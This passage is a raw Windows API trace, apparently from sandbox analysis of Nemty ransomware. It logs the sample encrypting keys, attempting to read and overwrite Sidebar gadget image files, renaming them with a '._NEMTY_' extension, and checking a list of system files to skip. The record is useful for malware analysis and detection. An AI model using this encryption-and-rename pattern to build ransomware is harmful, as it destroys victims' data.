pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0164.968] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0164.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0164.968] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="djVEQg7sgzoSmYbyPSRzvhFXNhgLoWeKYlrpvIiliL7vWlZglfTwp5zRfcSnePrl\r\nrMvLimX2wppLbvX49MacCZUexkzJQ3LY6Pw/qg4PTWv2pyfsjibfHwVvaVuzkPfz\r\nozb18qwKKpnpFSmyzXdQTd3I/BvTR1IF6TBXNzTNe4QMypPKsLqk67JAVl3vlx+Q\r\no+KusVWvY6iua7qHLKMEmY4QyOWQ5ZVgtU2DbXID9HCKL+S8LdniNDfuBEbSVtBo\r\nQ28nIjLi5yGC1PQbD9S4rQGb9lUcXqGS/L+oUFOuz1oK+x2a40JWY1f69S08Gypv\r\nw7Q2P1/AsQ3eECF3LNFNOQ==\r\n", pcchString=0x653e91c) returned 1 [0164.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0164.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0164.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0164.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0164.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0164.968] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\redstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0164.969] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0164.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0164.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0165.076] CloseHandle (hObject=0xffffffff) returned 0 [0165.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0165.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0165.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0165.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0165.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0165.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0165.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340458 [0165.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0165.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\redstateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\redStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\redstateicon.png._nemty_kgobjgd_")) returned 0 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0165.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.077] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8767d4fa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8767d4fa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3078c9f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="search_background.png", cAlternateFileName="")) returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2=".") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="..") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="...") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="windows") returned -1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="$RECYCLE.BIN") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="rsa") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="NTDETECT.COM") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="ntldr") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="MSDOS.SYS") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="IO.SYS") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="boot.ini") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="boot.ini") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="AUTOEXEC.BAT") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="ntuser.dat") returned 1 [0165.077] lstrcmpiW (lpString1="search_background.png", lpString2="desktop.ini") returned 1 [0165.078] lstrcmpiW (lpString1="search_background.png", lpString2="CONFIG.SYS") returned 1 [0165.078] lstrcmpiW (lpString1="search_background.png", lpString2="RECYCLER") returned 1 [0165.078] lstrcmpiW (lpString1="search_background.png", lpString2="BOOTSECT.BAK") returned 1 [0165.078] lstrcmpiW (lpString1="search_background.png", lpString2="bootmgr") returned 1 [0165.078] lstrcmpiW (lpString1="search_background.png", lpString2="programdata") returned 1 [0165.078] lstrcmpiW (lpString1="search_background.png", lpString2="appdata") returned 1 [0165.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="search_background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0165.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="search_background.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="search_background.png", lpUsedDefaultChar=0x0) returned 21 [0165.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0165.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="search_background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0165.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="search_background.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="search_background.png", lpUsedDefaultChar=0x0) returned 21 [0165.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0165.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="search_background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0165.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="search_background.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="search_background.png", lpUsedDefaultChar=0x0) returned 21 [0165.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="search_background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0165.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0165.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="search_background.png", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="search_background.png", lpUsedDefaultChar=0x0) returned 21 [0165.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0165.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0165.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0165.078] Sleep (dwMilliseconds=0x5) [0165.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x160cbc50, dwHighDateTime=0x1d561e8)) [0165.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x160cbc50, dwHighDateTime=0x1d561e8)) [0165.092] GetLastError () returned 0x5 [0165.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.093] GetLastError () returned 0x5 [0165.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0165.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0165.093] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0165.093] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0165.093] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0165.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0165.093] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="lqlr+IiXGUBepyrtiXQChZg9+lnZVvny5tZPYjXjQ3Ravc7dH3b6wJ4HmeB41Thh\r\nzMhL6y1OOpJweKYYho6ebm6OoHylJo70CH781KuGzUF1RLToAx+juUMm2am7irdD\r\nAfmQ6dMEFjPNrHblrbR0FVmgBOOb2l6DZejP0e2hfevLBv5bv2R0jIEoz2PC/Z7X\r\nouySC2HPpm2Whva7My9xz9kOH9KlI2uPFafUw5vlBFRE8DjgJlxIvW5QxZw9Ep0b\r\nG0ej5N+MnBaHexZKOREQwMaYC+dnIFJpDTDc47o3JO05lg9X1JSc7bw0Vi8XotIg\r\ntyWSsj/HHlSFiCSmSz3cKQ==\r\n", pcchString=0x653e91c) returned 1 [0165.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0165.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0165.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0165.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0165.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0165.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0165.093] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\search_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\search_background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0165.093] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0165.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0165.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, 